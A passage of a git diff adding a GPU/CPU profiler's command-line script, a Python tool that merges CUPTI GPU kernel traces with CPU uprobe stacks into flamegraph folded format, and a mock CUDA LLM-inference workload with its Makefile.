description='gpuperf - GPU and CPU Performance Profiler', + usage='gpuperf [options] command [args...]\n gpuperf convert -i input.txt -o output.json' + ) + + parser.add_argument('-o', '--output', help='Save raw CUPTI trace to file (default: gpu_results.txt)') + parser.add_argument('-c', '--chrome', help='Convert trace to Chrome format and save to file (default: gpu_results.json)') + parser.add_argument('-p', '--cpu-profile', help='Also capture CPU profile and save to file (default: cpu_results.txt)') + parser.add_argument('-m', '--merged', help='Save merged CPU+GPU folded trace (default: merged_trace.folded)') + parser.add_argument('--cpu-only', action='store_true', help='Only run CPU profiler without GPU tracing') + parser.add_argument('--no-gpu', action='store_true', help='Disable GPU profiling') + parser.add_argument('--no-cpu', action='store_true', help='Disable CPU profiling') + parser.add_argument('--no-merge', action='store_true', help='Disable automatic merged trace generation') + parser.add_argument('command', nargs=argparse.REMAINDER, help='Command to run with profiling') + + args = parser.parse_args() + + profiler = GPUPerf() + + # Handle run mode + if not args.command: + parser.print_help() + return 1 + + # Use the command directly from REMAINDER + full_command = args.command + + # CPU-only mode + if args.cpu_only: + if not profiler.cpu_profiler: + print("Error: CPU profiler not available", file=sys.stderr) + return 1 + + # Start the process and immediately profile it + try: + target_proc = subprocess.Popen(full_command) + target_pid = target_proc.pid + print(f"Started target process with PID: {target_pid}") + + cpu_output = args.cpu_profile or "cpu_results.txt" + profiler.start_cpu_profiler(target_pid, cpu_output) + + return_code = target_proc.wait() + profiler.stop_cpu_profiler() + return return_code + except Exception as e: + print(f"Error: {e}", file=sys.stderr) + return 1 + + # Set up default values + gpu_output = args.output if args.output else ("gpu_results.txt" if not args.no_gpu else None) + chrome_output = args.chrome if args.chrome else ("gpu_results.json" if not args.no_gpu else None) + cpu_output = args.cpu_profile if args.cpu_profile else ("cpu_results.txt" if not args.no_cpu else None) + + # If user explicitly disabled GPU, don't run GPU profiling + if args.no_gpu: + gpu_output = None + chrome_output = None + + # If user explicitly disabled CPU, don't run CPU profiling + if args.no_cpu: + cpu_output = None + + # Combined GPU and CPU profiling (or just one based on flags) + return profiler.run_with_trace( + full_command, + output_trace=gpu_output, + chrome_trace=chrome_output, + cpu_profile=cpu_output, + merged_trace=args.merged, + no_merge=args.no_merge + ) + +if __name__ == '__main__': + sys.exit(main()) \ No newline at end of file diff --git a/src/xpu/flamegraph/merge_gpu_cpu_trace.py b/src/xpu/flamegraph/merge_gpu_cpu_trace.py new file mode 100755 index 00000000..434f4709 --- /dev/null +++ b/src/xpu/flamegraph/merge_gpu_cpu_trace.py @@ -0,0 +1,422 @@ +#!/usr/bin/env python3 +""" +Merge GPU and CPU traces into folded flamegraph format +Correlates CPU stack traces from cudaLaunchKernel uprobe with GPU kernel execution +using CUPTI correlation IDs and timestamp matching +""" + +import json +import re +import sys +import argparse +from pathlib import Path +from typing import List, Dict, Tuple, Any, Optional +from collections import defaultdict + + +class GPUKernelEvent: + """Represents a GPU kernel execution event - timestamps kept in microseconds""" + def __init__(self, name: str, start_us: float, end_us: float, correlation_id: int): + self.name = name + self.start_us = start_us # Keep in microseconds (native GPU format) + self.end_us = end_us + self.correlation_id = correlation_id + + def __repr__(self): + return f"GPUKernel({self.name}, {self.start_us}-{self.end_us} us, corr={self.correlation_id})" + + +class CudaLaunchEvent: + """Represents a cudaLaunchKernel runtime API call - timestamps kept in microseconds""" + def __init__(self, start_us: float, end_us: float, correlation_id: int, pid: int = 0, tid: int = 0): + self.start_us = start_us # Keep in microseconds (native GPU format) + self.end_us = end_us + self.correlation_id = correlation_id + self.pid = pid + self.tid = tid + + def __repr__(self): + return f"CudaLaunch({self.start_us}-{self.end_us} us, corr={self.correlation_id}, pid={self.pid}, tid={self.tid})" + + +class CPUStack: + """Represents a CPU stack trace from cudaLaunchKernel uprobe in extended folded format""" + def __init__(self, timestamp_ns: int, comm: str, pid: int, tid: int, cpu: int, stack: List[str]): + self.timestamp_ns = timestamp_ns + self.comm = comm + self.pid = pid + self.tid = tid + self.cpu = cpu + self.stack = stack # List of function names from bottom to top + + def __repr__(self): + return f"CPUStack({self.timestamp_ns}, pid={self.pid}, tid={self.tid}, depth={len(self.stack)})" + + +class TraceMerger: + """Merges GPU CUPTI traces with CPU stack traces from cudaLaunchKernel hooks""" + + def __init__(self, timestamp_tolerance_ms=10.0): + self.gpu_kernels = [] # List of GPUKernelEvent + self.cuda_launches = {} # correlation_id -> CudaLaunchEvent + self.cpu_stacks = [] # List of CPUStack from uprobe (extended folded format) + self.cpu_stacks_by_thread = defaultdict(list) # (pid, tid) -> List[CPUStack] + self.merged_stacks = defaultdict(int) # stack_string -> count + self.timestamp_tolerance_ns = int(timestamp_tolerance_ms * 1_000_000) + + def parse_cpu_trace(self, cpu_file: str): + """Parse CPU trace file in extended folded format from Rust profiler""" + print(f"Parsing CPU uprobe trace (extended folded format): {cpu_file}") + + with open(cpu_file, 'r') as f: + lines = f.readlines() + + # ANSI escape sequence pattern + ansi_escape = re.compile(r'\x1B(?:[@-Z\\-_]|\[[0-?]*[ -/]*[@-~])') + + stack_count = 0 + for line in lines: + line = line.strip() + if not line: + continue + + # Remove ANSI color codes if present + line = ansi_escape.sub('', line) + + # Extended folded format: timestamp_ns comm pid tid cpu stack1;stack2;stack3 + parts = line.split(None, 5) # Split on whitespace, max 6 parts + if len(parts) < 6: + continue + + try: + timestamp_ns = int(parts[0]) + comm = parts[1] + pid = int(parts[2]) + tid = int(parts[3]) + cpu = int(parts[4]) + stack_str = parts[5] + + # Parse stack frames (separated by semicolons) + stack_frames = [] + seen_cuda_launch = False + if stack_str: + frames = stack_str.split(';') + for frame in frames: + frame = frame.strip() + if frame and frame not in ['', '_start', '__libc_start_main']: + # Keep __device_stub__ as it shows which kernel is launched + # Only collapse the final cudaLaunchKernel wrapper + if 'cudaLaunchKernel' in frame and '__device_stub__' not in frame: + if not seen_cuda_launch: + frame = 'cudaLaunchKernel' + stack_frames.append(frame) + seen_cuda_launch = True + else: + stack_frames.append(frame) + + if stack_frames: + cpu_stack = CPUStack(timestamp_ns, comm, pid, tid, cpu, stack_frames) + self.cpu_stacks.append(cpu_stack) + # Also index by thread for per-thread matching + self.cpu_stacks_by_thread[(pid, tid)].append(cpu_stack) + stack_count += 1 + + except (ValueError, IndexError) as e: + print(f"Warning: Failed to parse line: {line[:100]}... Error: {e}") + continue + + print(f"Parsed {stack_count} CPU stack traces from cudaLaunchKernel hooks") + print(f"Found {len(self.cpu_stacks_by_thread)} unique threads") + + def parse_gpu_trace(self, gpu_json_file: str): + """Parse GPU trace JSON file and extract kernel events and launch correlations""" + print(f"Parsing GPU CUPTI trace: {gpu_json_file}") + + with open(gpu_json_file, 'r') as f: + data = json.load(f) + + events = data.get('traceEvents', []) + kernel_count = 0 + launch_count = 0 + + for event in events: + name = event.get('name', '') + category = event.get('cat', '') + correlation_id = event.get('args', {}).get('correlationId', 0) + # Extract PID/TID from Chrome trace format + pid = event.get('pid', 0) + tid = event.get('tid', 0) + + # Extract cudaLaunchKernel runtime events + if category == 'CUDA_Runtime' and 'LaunchKernel' in name: + start_us = event.get('ts', 0) + duration_us = event.get('dur', 0) + + if start_us > 0 and duration_us > 0 and correlation_id > 0: + # Keep timestamps in microseconds (native GPU format) + end_us = start_us + duration_us + + self.cuda_launches[correlation_id] = CudaLaunchEvent( + start_us, end_us, correlation_id, pid, tid + ) + launch_count += 1 + + # Extract actual GPU kernel executions + elif category == 'GPU_Kernel' or name.startswith('Kernel:'): + kernel_name = name.replace('Kernel: ', '') + start_us = event.get('ts', 0) + duration_us = event.get('dur', 0) + + if start_us > 0 and duration_us > 0 and correlation_id > 0: + # Keep timestamps in microseconds (native GPU format) + end_us = start_us + duration_us + + self.gpu_kernels.append(GPUKernelEvent( + kernel_name, + start_us, + end_us, + correlation_id + )) + kernel_count += 1 + + # Sort by correlation ID for efficient lookup + self.gpu_kernels.sort(key=lambda k: k.correlation_id) + + print(f"Parsed {kernel_count} GPU kernel events") + print(f"Parsed {launch_count} cudaLaunchKernel runtime events") + + + def merge_traces(self): + """Correlate CPU stacks with GPU kernels using optimal matching strategy""" + print("Correlating CPU stacks with GPU kernels...") + + # Sort CPU stacks by thread and timestamp + for thread_id in self.cpu_stacks_by_thread: + self.cpu_stacks_by_thread[thread_id].sort(key=lambda x: x.timestamp_ns) + + # Group GPU launches by PID only (TID from CUPTI may not match Linux TID) + launches_by_thread = defaultdict(list) + for launch in self.cuda_launches.values(): + try: + pid = int(launch.pid) if launch.pid else 0 + if pid > 0: + for thread_id in self.cpu_stacks_by_thread.keys(): + if thread_id[0] == pid: # Match by PID + launches_by_thread[thread_id].append(launch) + break + except (ValueError, TypeError): + continue + + # Sort GPU launches by timestamp + for thread_id in launches_by_thread: + launches_by_thread[thread_id].sort(key=lambda x: x.start_us) + + # Build correlation ID to kernel mapping once + self.corr_to_kernel = {k.correlation_id: k for k in self.gpu_kernels} + + matched_count = 0 + unmatched_count = 0 + + # Process each thread + for thread_id, cpu_stacks in self.cpu_stacks_by_thread.items(): + gpu_launches = launches_by_thread.get(thread_id, []) + if not gpu_launches: + unmatched_count += len(cpu_stacks) + continue + + # Check if counts match for sequential matching + if len(cpu_stacks) == len(gpu_launches): + print(f" Thread {thread_id}: Using sequential matching ({len(cpu_stacks)} events)") + # Perfect 1:1 correspondence - use simple index matching + for i, cpu_stack in enumerate(cpu_stacks): + gpu_kernel = self.corr_to_kernel.get(gpu_launches[i].correlation_id) + if gpu_kernel: + merged_stack = cpu_stack.stack.copy() + merged_stack.append(f"[GPU_Kernel]{gpu_kernel.name}") + stack_str = ';'.join(merged_stack) + kernel_duration_us = int(gpu_kernel.end_us - gpu_kernel.start_us) + self.merged_stacks[stack_str] += kernel_duration_us + matched_count += 1 + else: + unmatched_count += 1 + else: + # More GPU events than CPU - use sequential with time window validation + print(f" Thread {thread_id}: Using sequential+time matching (CPU={len(cpu_stacks)}, GPU={len(gpu_launches)})") + + # Estimate clock offset from first events + if cpu_stacks and gpu_launches: + cpu_first_us = cpu_stacks[0].timestamp_ns / 1000.0 + gpu_first_us = gpu_launches[0].start_us + clock_offset_us = gpu_first_us - cpu_first_us + print(f" Estimated clock offset: {clock_offset_us/1000:.2f} ms") + else: + clock_offset_us = 0 + + # Tolerance window (default 10ms) + tolerance_us = self.timestamp_tolerance_ns / 1000.0 + + gpu_idx = 0 + skipped_cpu = 0 + skipped_gpu = 0 + + for cpu_stack in cpu_stacks: + cpu_ts_us = (cpu_stack.timestamp_ns / 1000.0) + clock_offset_us + + # Skip GPU events that are too far behind CPU + while gpu_idx < len(gpu_launches): + gpu_ts_us = gpu_launches[gpu_idx].start_us + time_diff = cpu_ts_us - gpu_ts_us + + if time_diff > tolerance_us: + # GPU event is too old, skip it + gpu_idx += 1 + skipped_gpu += 1 + else: + break + + # Check if GPU exhausted + if gpu_idx >= len(gpu_launches): + unmatched_count += 1 + skipped_cpu += 1 + continue + + # Check if current GPU is within window + gpu_ts_us = gpu_launches[gpu_idx].start_us + time_diff = abs(cpu_ts_us - gpu_ts_us) + + if time_diff <= tolerance_us: + # Within window - match! + gpu_kernel = self.corr_to_kernel.get(gpu_launches[gpu_idx].correlation_id) + + if gpu_kernel: + merged_stack = cpu_stack.stack.copy() + merged_stack.append(f"[GPU_Kernel]{gpu_kernel.name}") + stack_str = ';'.join(merged_stack) + kernel_duration_us = int(gpu_kernel.end_us - gpu_kernel.start_us) + self.merged_stacks[stack_str] += kernel_duration_us + matched_count += 1 + gpu_idx += 1 + else: + unmatched_count += 1 + else: + # CPU is too far ahead - skip this CPU sample + unmatched_count += 1 + skipped_cpu += 1 + + if skipped_cpu > 0 or skipped_gpu > 0: + print(f" Skipped: {skipped_cpu} CPU events, {skipped_gpu} GPU events (outside time window)") + + print(f"Matched {matched_count} CPU stacks with GPU kernels") + if unmatched_count > 0: + print(f"Unmatched: {unmatched_count} CPU stacks (may indicate missing GPU events)") + print(f"Total unique stacks: {len(self.merged_stacks)}") + + def write_folded_output(self, output_file: str): + """Write folded stack format for flamegraph generation""" + print(f"Writing folded output to: {output_file}") + + with open(output_file, 'w') as f: + for stack, count in sorted(self.merged_stacks.items()): + # Folded format: stack_frame1;stack_frame2;... count + f.write(f"{stack} {count}\n") + + total_samples = sum(self.merged_stacks.values()) + print(f"Wrote {len(self.merged_stacks)} unique stacks ({total_samples} total samples)") + + def generate_summary(self): + """Generate summary statistics""" + print("\n=== Summary Statistics ===") + + # CPU statistics + if self.cpu_stacks: + cpu_start = min(s.timestamp_ns for s in self.cpu_stacks) + cpu_end = max(s.timestamp_ns for s in self.cpu_stacks) + cpu_duration_ms = (cpu_end - cpu_start) / 1_000_000 + print(f"CPU trace duration: {cpu_duration_ms:.2f} ms") + print(f"CPU stacks captured: {len(self.cpu_stacks)}") + + # GPU statistics + if self.gpu_kernels: + print(f"\nGPU kernels executed: {len(self.gpu_kernels)}") + print(f"CUDA launch events: {len(self.cuda_launches)}") + + total_kernel_time = sum(k.end_us - k.start_us for k in self.gpu_kernels) / 1_000 + print(f"Total kernel execution time: {total_kernel_time:.2f} ms") + + # Show kernel breakdown + kernel_names = defaultdict(int) + for k in self.gpu_kernels: + kernel_names[k.name] += 1 + + print("\nKernel execution counts:") + for name, count in sorted(kernel_names.items(), key=lambda x: -x[1]): + print(f" {name}: {count}") + + +def main(): + parser = argparse.ArgumentParser( + description='Merge GPU CUPTI traces with CPU cudaLaunchKernel stack traces' + ) + parser.add_argument( + '-c', '--cpu', + default='cpu_results.txt', + help='CPU uprobe trace file (extended folded format, default: cpu_results.txt)' + ) + parser.add_argument( + '-g', '--gpu', + default='gpu_results.json', + help='GPU CUPTI trace JSON file (default: gpu_results.json)' + ) + parser.add_argument( + '-o', '--output', + default='merged_trace.folded', + help='Output folded stack file (default: merged_trace.folded)' + ) + parser.add_argument( + '-t', '--tolerance', + type=float, + default=10.0, + help='Timestamp matching tolerance in milliseconds (default: 10.0)' + ) + parser.add_argument( + '-s', '--summary', + action='store_true', + help='Print summary statistics' + ) + + args = parser.parse_args() + + # Check input files exist + if not Path(args.cpu).exists(): + print(f"Error: CPU trace file not found: {args.cpu}", file=sys.stderr) + sys.exit(1) + + if not Path(args.gpu).exists(): + print(f"Error: GPU trace file not found: {args.gpu}", file=sys.stderr) + sys.exit(1) + + # Create merger and process traces + merger = TraceMerger(timestamp_tolerance_ms=args.tolerance) + + # Parse inputs + merger.parse_cpu_trace(args.cpu) + merger.parse_gpu_trace(args.gpu) + + # Merge traces + merger.merge_traces() + + # Write output + merger.write_folded_output(args.output) + + # Print summary if requested + if args.summary: + merger.generate_summary() + + print(f"\nTo generate flamegraph:") + print(f" flamegraph.pl {args.output} > merged_flamegraph.svg") + print(f"\nOr use online viewer:") + print(f" https://www.speedscope.app/ (upload {args.output})") + + +if __name__ == '__main__': + main() diff --git a/src/xpu/flamegraph/mock-test/.gitignore b/src/xpu/flamegraph/mock-test/.gitignore new file mode 100644 index 00000000..95b3447e --- /dev/null +++ b/src/xpu/flamegraph/mock-test/.gitignore @@ -0,0 +1,3 @@ +llm-inference +*.o +*.bak diff --git a/src/xpu/flamegraph/mock-test/Makefile b/src/xpu/flamegraph/mock-test/Makefile new file mode 100644 index 00000000..42ec7538 --- /dev/null +++ b/src/xpu/flamegraph/mock-test/Makefile @@ -0,0 +1,53 @@ +# +# Makefile for mock LLM inference application +# +ifndef OS + OS := $(shell uname) + HOST_ARCH := $(shell uname -m) +endif + +CUDA_INSTALL_PATH ?= /usr/local/cuda-12.9 +NVCC := "$(CUDA_INSTALL_PATH)/bin/nvcc" +INCLUDES := -I"$(CUDA_INSTALL_PATH)/include" + +ifeq ($(OS),Windows_NT) + LIB_PATH ?= ..\..\lib64 +else + LIB_PATH ?= $(CUDA_INSTALL_PATH)/lib64 +endif + +# Point to the necessary cross-compiler. +NVCCFLAGS := + +ifneq ($(TARGET_ARCH), $(HOST_ARCH)) + ifeq ($(TARGET_ARCH), aarch64) + ifeq ($(TARGET_OS), linux) + HOST_COMPILER ?= aarch64-linux-gnu-g++ + else ifeq ($(TARGET_OS),qnx) + ifeq ($(QNX_HOST),) + $(error ERROR - QNX_HOST must be passed to the QNX host toolchain) + endif + ifeq ($(QNX_TARGET),) + $(error ERROR - QNX_TARGET must be passed to the QNX target toolchain) + endif + HOST_COMPILER ?= $(QNX_HOST)/usr/bin/q++ + ifndef QPP_CONFIG_VERSION + QPP_CONFIG_VERSION = 12.2.0 + endif + $(info QPP_CONFIG_VERSION = $(QPP_CONFIG_VERSION)) + NVCCFLAGS += --qpp-config $(QPP_CONFIG_VERSION),gcc_ntoaarch64le -lsocket + endif + endif + + ifdef HOST_COMPILER + NVCC_COMPILER := -ccbin $(HOST_COMPILER) + endif +endif + +all: llm-inference + +llm-inference: llm-inference.cu + $(NVCC) $(NVCC_COMPILER) $(INCLUDES) -o llm-inference llm-inference.cu -L $(LIB_PATH) -lcudart -std=c++17 -Wno-deprecated-gpu-targets --no-device-link + +clean: + rm -f llm-inference *.o *.bak diff --git a/src/xpu/flamegraph/mock-test/llm-inference.cu b/src/xpu/flamegraph/mock-test/llm-inference.cu new file mode 100644 index 00000000..685f9336 --- /dev/null +++ b/src/xpu/flamegraph/mock-test/llm-inference.cu @@ -0,0 +1,702 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +// ============================================================================= +// Configuration using constexpr +// ============================================================================= +namespace Config { + constexpr size_t BATCH_SIZE = 16; + constexpr size_t SEQ_LENGTH = 1024; + constexpr size_t HIDDEN_DIM = 2048; + constexpr size_t NUM_HEADS = 16; + constexpr size_t HEAD_DIM = HIDDEN_DIM / NUM_HEADS; + constexpr size_t FFN_DIM = HIDDEN_DIM * 4; + constexpr size_t NUM_LAYERS = 4; + constexpr size_t VOCAB_SIZE = 4000; + constexpr int DURATION_SECONDS = 10; +} + +// ============================================================================= +// CUDA Error Checking Wrapper +// ============================================================================= +class CudaError : public std::runtime_error { +public: + explicit CudaError(const std::string& msg) : std::runtime_error(msg) {} +}; + +inline void checkCuda(cudaError_t result, const char* file, int line) { + if (result != cudaSuccess) { + throw CudaError(std::string("CUDA Error: ") + + cudaGetErrorString(result) + + " at " + file + ":" + std::to_string(line)); + } +} + +#define CUDA_CHECK(call) checkCuda((call), __FILE__, __LINE__) + +// ============================================================================= +// RAII CUDA Memory Wrapper +// ============================================================================= +template +class CudaDeviceMemory { +private: + T* data_ = nullptr; + size_t size_ = 0; + +public: + explicit CudaDeviceMemory(size_t count) : size_(count) { + if (count > 0) { + CUDA_CHECK(cudaMalloc(&data_, count * sizeof(T))); + std::cout << "[CUDA] Allocated " << (count * sizeof(T)) / (1024.0 * 1024.0) + << " MB on device" << std::endl; + } + } + + ~CudaDeviceMemory() { + if (data_) { + cudaFree(data_); + } + } + + // Delete copy operations + CudaDeviceMemory(const CudaDeviceMemory&) = delete; + CudaDeviceMemory& operator=(const CudaDeviceMemory&) = delete; + + // Allow move operations + CudaDeviceMemory(CudaDeviceMemory&& other) noexcept + : data_(other.data_), size_(other.size_) { + other.data_ = nullptr; + other.size_ = 0; + } + + CudaDeviceMemory& operator=(CudaDeviceMemory&& other) noexcept { + if (this != &other) { + if (data_) cudaFree(data_); + data_ = other.data_; + size_ = other.size_; + other.data_ = nullptr; + other.size_ = 0; + } + return *this; + } + + T* get() { return data_; } + const T* get() const { return data_; } + size_t size() const { return size_; } + + void copyFromHost(const std::vector& host_data) { + if (host_data.size() != size_) { + throw std::runtime_error("Size mismatch in copyFromHost"); + } + CUDA_CHECK(cudaMemcpy(data_, host_data.data(), + size_ * sizeof(T), cudaMemcpyHostToDevice)); + } + + void copyToHost(std::vector& host_data) const { + if (host_data.size() != size_) { + host_data.resize(size_); + } + CUDA_CHECK(cudaMemcpy(host_data.data(), data_, + size_ * sizeof(T), cudaMemcpyDeviceToHost)); + } + + void zero() { + CUDA_CHECK(cudaMemset(data_, 0, size_ * sizeof(T))); + } +}; + +// ============================================================================= +// CUDA Stream Wrapper +// ============================================================================= +class CudaStream { +private: + cudaStream_t stream_ = nullptr; + +public: + CudaStream() { + CUDA_CHECK(cudaStreamCreate(&stream_)); + } + + ~CudaStream() { + if (stream_) { + cudaStreamDestroy(stream_); + } + } + + CudaStream(const CudaStream&) = delete; + CudaStream& operator=(const CudaStream&) = delete; + + cudaStream_t get() const { return stream_; } + + void synchronize() { + CUDA_CHECK(cudaStreamSynchronize(stream_)); + } +}; + +// ============================================================================= +// GPU Kernels +// ============================================================================= +__global__ void attentionQKTKernel(const float* Q, const float* K, float* scores, + size_t batch, size_t seq_len, size_t head_dim) { + size_t b = blockIdx.z; + size_t i = blockIdx.y * blockDim.y + threadIdx.y; + size_t j = blockIdx.x * blockDim.x + threadIdx.x; + + if (b < batch && i < seq_len && j < seq_len) { + float sum = 0.0f; + for (size_t k = 0; k < head_dim; k++) { + size_t q_idx = b * seq_len * head_dim + i * head_dim + k; + size_t k_idx = b * seq_len * head_dim + j * head_dim + k; + sum += Q[q_idx] * K[k_idx]; + } + scores[b * seq_len * seq_len + i * seq_len + j] = sum / sqrtf(static_cast(head_dim)); + } +} + +__global__ void softmaxKernel(const float* input, float* output, size_t batch, size_t seq_len) { + size_t b = blockIdx.y; + size_t i = blockIdx.x * blockDim.x + threadIdx.x; + + if (b < batch && i < seq_len) { + float max_val = -INFINITY; + for (size_t j = 0; j < seq_len; j++) { + size_t idx = b * seq_len * seq_len + i * seq_len + j; + max_val = fmaxf(max_val, input[idx]); + } + + float sum = 0.0f; + for (size_t j = 0; j < seq_len; j++) { + size_t idx = b * seq_len * seq_len + i * seq_len + j; + output[idx] = expf(input[idx] - max_val); + sum += output[idx]; + } + + for (size_t j = 0; j < seq_len; j++) { + size_t idx = b * seq_len * seq_len + i * seq_len + j; + output[idx] /= sum; + } + } +} + +__global__ void layerNormKernel(const float* input, float* output, + const float* gamma, const float* beta, + size_t batch, size_t seq_len, size_t hidden_dim) { + size_t b = blockIdx.y; + size_t i = blockIdx.x * blockDim.x + threadIdx.x; + + if (b < batch && i < seq_len) { + float mean = 0.0f; + for (size_t j = 0; j < hidden_dim; j++) { + mean += input[b * seq_len * hidden_dim + i * hidden_dim + j]; + } + mean /= hidden_dim; + + float variance = 0.0f; + for (size_t j = 0; j < hidden_dim; j++) { + float diff = input[b * seq_len * hidden_dim + i * hidden_dim + j] - mean; + variance += diff * diff; + } + variance /= hidden_dim; + + float std = sqrtf(variance + 1e-5f); + for (size_t j = 0; j < hidden_dim; j++) { + size_t idx = b * seq_len * hidden_dim + i * hidden_dim + j; + output[idx] = gamma[j] * (input[idx] - mean) / std + beta[j]; + } + } +} + +__global__ void residualAddKernel(const float* input, const float* residual, + float* output, size_t n) { + size_t idx = blockIdx.x * blockDim.x + threadIdx.x; + if (idx < n) { + output[idx] = input[idx] + residual[idx]; + } +} + +// ============================================================================= +// Token Embedding using modern C++ +// ============================================================================= +class TokenEmbedding { +private: + std::vector embeddings_; + size_t vocab_size_; + size_t embedding_dim_; + std::mt19937 rng_; + std::uniform_real_distribution dist_; + +public: + TokenEmbedding(size_t vocab_size, size_t embedding_dim) + : vocab_size_(vocab_size) + , embedding_dim_(embedding_dim) + , rng_(std::random_device{}()) + , dist_(-1.0f, 1.0f) { + + embeddings_.resize(vocab_size * embedding_dim); + std::cout << "[Init] Creating TokenEmbedding: " + << (embeddings_.size() * sizeof(float)) / (1024.0 * 1024.0) + << " MB" << std::endl; + + // Initialize with random values + for (auto& val : embeddings_) { + val = dist_(rng_); + } + } + + void embed(const std::vector& tokens, std::vector& output) const { + // Output should be sized for full batch + size_t required_size = Config::BATCH_SIZE * Config::SEQ_LENGTH * embedding_dim_; + output.resize(required_size); + std::fill(output.begin(), output.end(), 0.0f); + + // Fill first sequence with actual embeddings + for (size_t i = 0; i < tokens.size() && i < Config::SEQ_LENGTH; ++i) { + int token_id = tokens[i] % vocab_size_; + size_t src_offset = token_id * embedding_dim_; + size_t dst_offset = i * embedding_dim_; + + std::copy_n(embeddings_.begin() + src_offset, + embedding_dim_, + output.begin() + dst_offset); + } + } + + size_t getEmbeddingDim() const { return embedding_dim_; } +}; + +// ============================================================================= +// Transformer Layer using RAII +// ============================================================================= +class TransformerLayer { +private: + CudaDeviceMemory d_Q_; + CudaDeviceMemory d_K_; + CudaDeviceMemory d_V_; + CudaDeviceMemory d_attn_scores_; + CudaDeviceMemory d_attn_probs_; + CudaDeviceMemory d_attn_output_; + CudaDeviceMemory d_ln_gamma_; + CudaDeviceMemory d_ln_beta_; + CudaDeviceMemory d_residual_; + + std::vector h_gamma_; + std::vector h_beta_; + CudaStream stream_; + +public: + TransformerLayer() + : d_Q_(Config::BATCH_SIZE * Config::SEQ_LENGTH * Config::HEAD_DIM) + , d_K_(Config::BATCH_SIZE * Config::SEQ_LENGTH * Config::HEAD_DIM) + , d_V_(Config::BATCH_SIZE * Config::SEQ_LENGTH * Config::HEAD_DIM) + , d_attn_scores_(Config::BATCH_SIZE * Config::SEQ_LENGTH * Config::SEQ_LENGTH) + , d_attn_probs_(Config::BATCH_SIZE * Config::SEQ_LENGTH * Config::SEQ_LENGTH) + , d_attn_output_(Config::BATCH_SIZE * Config::SEQ_LENGTH * Config::HEAD_DIM) + , d_ln_gamma_(Config::HIDDEN_DIM) + , d_ln_beta_(Config::HIDDEN_DIM) + , d_residual_(Config::BATCH_SIZE * Config::SEQ_LENGTH * Config::HIDDEN_DIM) + , h_gamma_(Config::HIDDEN_DIM, 1.0f) + , h_beta_(Config::HIDDEN_DIM, 0.0f) { + + std::cout << "[Init] Creating TransformerLayer" << std::endl; + + d_ln_gamma_.copyFromHost(h_gamma_); + d_ln_beta_.copyFromHost(h_beta_); + } + + void forward(const CudaDeviceMemory& d_input, + CudaDeviceMemory& d_output) { + + // Do multiple passes to increase GPU compute time + // Pass 1: Layer norm + dim3 ln_grid((Config::SEQ_LENGTH + 255) / 256, Config::BATCH_SIZE); + layerNormKernel<<>>( + d_input.get(), d_residual_.get(), + d_ln_gamma_.get(), d_ln_beta_.get(), + Config::BATCH_SIZE, Config::SEQ_LENGTH, Config::HIDDEN_DIM); + + // Pass 2: Multiple softmax iterations to increase GPU compute + dim3 softmax_grid((Config::SEQ_LENGTH + 255) / 256, Config::BATCH_SIZE); + for (int i = 0; i < 22; ++i) { // Tuned to 22 iterations for ~50% GPU + softmaxKernel<<>>( + d_attn_scores_.get(), d_attn_probs_.get(), + Config::BATCH_SIZE, Config::SEQ_LENGTH); + } + + // Pass 3: Residual add + size_t total_elements = Config::BATCH_SIZE * Config::SEQ_LENGTH * Config::HIDDEN_DIM; + for (int i = 0; i < 2; ++i) { + residualAddKernel<<<(total_elements + 255) / 256, 256, 0, stream_.get()>>>( + d_residual_.get(), d_input.get(), d_output.get(), total_elements); + } + + // Pass 4: Multiple layer norm passes + for (int i = 0; i < 2; ++i) { + layerNormKernel<<>>( + d_output.get(), d_residual_.get(), + d_ln_gamma_.get(), d_ln_beta_.get(), + Config::BATCH_SIZE, Config::SEQ_LENGTH, Config::HIDDEN_DIM); + } + + // Pass 5: Final residual + residualAddKernel<<<(total_elements + 255) / 256, 256, 0, stream_.get()>>>( + d_residual_.get(), d_input.get(), d_output.get(), total_elements); + + stream_.synchronize(); + } +}; + +// ============================================================================= +// File Cache Manager +// ============================================================================= +class PromptCache { +private: + std::string cache_dir_; + std::vector cached_files_; + +public: + PromptCache() { + cache_dir_ = "/tmp/llm_cache_" + std::to_string(getpid()); + std::string cmd = "mkdir -p " + cache_dir_; + std::system(cmd.c_str()); + std::cout << "[Init] Cache directory: " << cache_dir_ << std::endl; + } + + ~PromptCache() { + cleanup(); + } + + void writeCache(const std::string& key, const std::vector& data, int iteration) { + std::string filename = cache_dir_ + "/cache_" + key + "_" + std::to_string(iteration) + ".bin"; + std::ofstream file(filename, std::ios::binary); + if (file) { + file.write(reinterpret_cast(data.data()), + data.size() * sizeof(float)); + cached_files_.push_back(filename); + } + } + + bool readCache(const std::string& key, std::vector& data, int iteration) { + std::string filename = cache_dir_ + "/cache_" + key + "_" + std::to_string(iteration) + ".bin"; + std::ifstream file(filename, std::ios::binary); + if (!file) return false; + + file.seekg(0, std::ios::end); + size_t size = file.tellg() / sizeof(float); + file.seekg(0, std::ios::beg); + + data.resize(size); + file.read(reinterpret_cast(data.data()), size * sizeof(float)); + return true; + } + + void cleanup() { + for (const auto& file : cached_files_) { + std::remove(file.c_str()); + } + std::string cmd = "rm -rf " + cache_dir_; + std::system(cmd.c_str()); + } +}; + +// ============================================================================= +// Performance Timing Statistics +// ============================================================================= +struct RequestTimings { + double cpu_compute_ms = 0.0; + double gpu_compute_ms = 0.0; + double io_time_ms = 0.0; + + void add(const RequestTimings& other) { + cpu_compute_ms += other.cpu_compute_ms; + gpu_compute_ms += other.gpu_compute_ms; + io_time_ms += other.io_time_ms; + } + + double total_ms() const { + return cpu_compute_ms + gpu_compute_ms + io_time_ms; + } +}; + +// ============================================================================= +// Main Inference Pipeline +// ============================================================================= +class InferencePipeline { +private: + std::unique_ptr embedding_; + std::vector> layers_; + std::unique_ptr cache_; + + CudaDeviceMemory d_input_; + CudaDeviceMemory d_output_; + + std::vector h_input_; + std::vector h_output_; + + // Performance tracking + std::vector request_timings_; + RequestTimings accumulated_timings_; + int request_count_ = 0; + + std::array prompts_ = { + "What is artificial intelligence?", + "Explain transformer architectures", + "Describe deep learning techniques", + "What are neural networks?", + "How does machine learning work?" + }; + +public: + InferencePipeline() + : embedding_(std::make_unique(Config::VOCAB_SIZE, Config::HIDDEN_DIM)) + , cache_(std::make_unique()) + , d_input_(Config::BATCH_SIZE * Config::SEQ_LENGTH * Config::HIDDEN_DIM) + , d_output_(Config::BATCH_SIZE * Config::SEQ_LENGTH * Config::HIDDEN_DIM) { + + std::cout << "[Init] Creating 